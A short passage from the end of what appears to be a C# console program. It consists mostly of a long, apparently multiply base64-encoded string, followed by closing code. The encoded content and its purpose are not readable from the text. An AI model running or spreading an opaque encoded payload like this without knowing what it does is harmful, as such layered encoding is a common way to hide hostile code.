YUlVreFZtMTRhMDFHV1hoVVdHeFVWMGRvY0ZWdE1UUmpWbFp6V2taT2FrMVdjREJhVlZZd1lrZEtSMk5FUWxWV1ZrcFlWakJhU21ReVRrWmhSbkJPVW01Q01sWnFTbnBsUms1SVVtdGFiRkp0VWs5WmJURnZZakZhY1ZGdFJsZE5helY2V1RCV2IxVXlTa2hWYXpsVlZucEdkbFV5ZUZwbFJsWnlZMGQ0VTJGNlJUQldWRVp2WWpKR2MxTnNhRlppVjJoWFdXeG9UbVZHV1hkWGJIQnJUVlp3ZVZwRlZURmhWa3AxVVZoa1dGWkZTbGhaVkVacll6RmtXVnBHWkdoaVJYQlpWMWQwYTJJeVVuTlhXR1JZWWxoU1ZWVnFRbUZUUmxsNVpVaGthRlp0VWtsWlZXTTFWakpLVlZKVVFscGxhM0JRV1hwR2QxTldUblJrUms1T1RVVndWbFl4WkRCWlYxRjNUbFZrV0dKSGFFOVdhMVpMVkRGV2RHVklUazlTYkd3MVZHeFZOV0ZIU2taalJteGFWbFp3ZGxacVNrZGphelZYVld4a1UxWnVRalpXYlhoaFVqRmtXRkpyWkZWaVIxSnZWRlJDU2sxc1duUmtSM1JQVW0xNFdGWnNhSE5XUjBWNFkwWnNWMDFIYUVSV01GcGhZekZrZFZwR1RrNVdhMWt3Vm1wS01GUXhXblJUYTFwVVlrWndWbFpzV2tkTk1WWkhVbFJzVVZWVU1Eaz0=");
Console.ReadKey();
return 0;
}
}